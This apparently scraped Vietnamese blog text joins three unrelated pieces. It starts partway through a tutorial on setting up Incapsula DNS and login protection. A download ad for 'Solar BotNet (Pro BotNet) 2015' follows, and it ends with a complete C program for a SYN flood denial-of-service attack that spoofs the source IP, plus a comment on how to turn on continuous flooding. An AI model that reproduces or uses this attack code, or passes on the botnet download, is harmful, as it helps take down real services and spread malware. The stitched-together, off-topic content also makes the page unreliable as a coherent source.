Bây giờ chui vào lại Godaddy, vào trang quản lý domain của bạn và chọn DNS Zone File.
huong-dan-incapsula-5
Sửa DNS của tên miền tại Godaddy.
Tiếp tục ấn vào Edit trong đó.
huong-dan-incapsula-6
Sau đó các bạn sửa lại DNS giống như thế này.
huong-dan-incapsula-7
Sửa DNS Zone cho Incapsula
Sau khi sửa và lưu lại xong hết. Hãy quay lại trang của Incapsula và ấn vào nút I completed the DNS changesđể hoàn tất. Bây giờ bạn hãy cho nó thời gian để cập nhật domain là xong.
huong-dan-incapsula-9
Incapsula sẽ đợi để cập nhật sự thay đổi DNS ở domain
Khi nó cập nhật xong sẽ có mail gửi qua email của bạn để thông báo nên cứ yên tâm nhé. Sau khi nó cập nhật xong thì bạn mới có thể sử dụng các tính năng bên trong nó.
Cuối cùng, bạn nhấp vào website của bạn ở Dashboard, chuyển qua mục Setting -> General và điền đúng IP của host bạn đang dùng vào. Vì nếu mặc định, nó sẽ lấy IP của nhà cung cấp DNS trung gian (nếu bạn có dùng) nên sẽ không truy cập vào website được.
huong-dan-incapsula-10

Hướng dẫn sử dụng Login Protected

Tính năng này chính là tính năng bảo vệ thư mục/tập tin mà mình đã nhắc ở trên. Để cài đặt, hãy click vào website của bạn ngay tại Dashboard, sau đó vào phần Settings và chọn Login Protected.
huong-dan-incapsula-11
Sau đó bạn ấn vào nút Enable phía trên để kích hoạt. Tiếp đến là kéo xuống dưới ngay phần Authorized Users và ấn nút Add User.
huong-dan-incapsula-12
Thêm user vào Login Protected
Sở dĩ bạn cần Add User là do tính năng này sẽ không lấy tài khoản Incapsula của bạn mà chỉ hoạt động với tài khoản tự thêm riêng cho tính năng này để bảo mật.
Sau khi ấn vào Add User, nó sẽ xuất hiện ra một cửa sổ popup để gửi mail, bạn nhập email cần tạo user vào dòng To và sau đó ấn Send.
huong-dan-incapsula-13
Thêm user vào Login Protected
Rồi vào hộp thư của bạn để kích hoạt user.
huong-dan-incapsula-14
Kích hoạt tạo User
Rồi nhập tên và nhấn I’m Done. Nếu bạn muốn sử dụng tính năng Google Authenticator thì hãy dùng app đọc QRCode quét cái mã QRCode bên dưới để lấy mã số kích hoạt, không thì bỏ trống cũng được.
huong-dan-incapsula-15
Kích hoạt User sử dụng Login Protected
Bây giờ quay lại phần Login Protected trong Settings, tìm tới phần Authorized Users và chọn Select authorized user from list và đánh dấu vào user mà bạn vừa mới tạo.
huong-dan-incapsula-16
Chọn User sử dụng Login Protected
Tiếp đó bạn kéo lên trên, tìm phần Protected Pages và ấn Add Page để thêm tập tin/thư mục cần bảo vệ. Ví dụ mình muốn bảo vệ thư mục wp-admin thì mình điền như sau:
huong-dan-incapsula-17
Sau đó bạn ấn nút Save bên trên và đợi khoảng 5 phút sẽ bắt đầu có hiệu lực.
Lúc này khi bạn truy cập lần đầu tiên vào thư mục đã được bảo vệ thì nó sẽ đòi bạn nhập email và mã số bí mật, bạn cứ điền email vào nhưng sau đó hãy click vào nút E-Mail Me để nó gửi mã bí mật qua email.
sua-ip-incapsula
Nhận mã kích hoạt qua email
Sau đó bạn vào mail và lấy mã kích hoạt rồi điền vào đó, ấn Submit là xong.

Lời kết

Như vậy bạn có thể thấy tuy rằng Incapsula có vẻ không được nhiều tính năng như Cloudflare do mới ra đời nhưng về sự ổn định thì mình thấy nó có vẻ rất tốt, ít nhất là mình không còn thấy xuất hiện lỗi DNS, không bị mất traffic sau hơn một tuần sử dụng nữa. Ngoài ra nó cũng hỗ trợ thêm tính năng bảo mật thư mục/tập tin rất an toàn và bước này có thể làm chùn lòng bất cứ bạn hacker nào nếu có ý định oanh tặc website của bạn.

Solar BotNet (Pro BotNet) 2015

Solar BotNet (Pro BotNet) 2015
►| Download ►| 

Link ; ► http://linkshrink.net/7XgHcp

https://youtu.be/8nXccbuNzmA

Thứ Bảy, 29 tháng 8, 2015

Syn-flood-Dos-Attack

/*
    Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
 
struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
     
    struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
     
    return(answer);
}
 
int main (void)
{
    //Create a raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    //Datagram to represent the packet
    char datagram[4096] , source_ip[32];
    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
     
    strcpy(source_ip , "192.168.1.2");
   
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
     
    memset (datagram, 0, 4096); /* zero out the buffer */
     
    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321);  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;
     
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
     
    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;
    //Now the IP checksum
     
    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
     
    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
     
    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
     
    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
        exit(0);
    }
     
    //Uncommend the loop if you want to flood :)
    //while (1)
    //{
        //Send the packet
        if (sendto (s,      /* our socket */
                    datagram,   /* the buffer containing headers and data */
                    iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("error\n");
        }
        //Data send successfully
        else
        {
            printf ("Packet Send \n");
        }
    //}
     
    return 0;
}